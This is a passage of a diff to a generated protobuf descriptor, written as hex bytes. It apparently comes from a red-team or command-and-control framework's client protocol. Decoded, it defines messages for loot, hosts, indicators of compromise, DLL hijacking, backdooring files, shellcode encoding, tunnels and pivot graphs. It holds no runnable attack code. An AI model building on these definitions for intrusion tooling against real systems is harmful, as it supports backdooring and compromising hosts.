0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, - 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, - 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, - 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, - 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, - 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, - 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, - 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, - 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, - 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, - 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, - 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, - 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, - 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, - 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, - 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, - 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, - 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, - 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, - 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, - 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, - 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, - 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, - 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, - 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, - 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, - 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, - 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, - 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, - 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, - 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, - 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, - 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, - 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, - 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, - 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x0c, - 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, - 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, 0x04, - 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, + 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, + 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, + 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, + 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, + 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, + 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, + 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, + 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, + 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, + 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 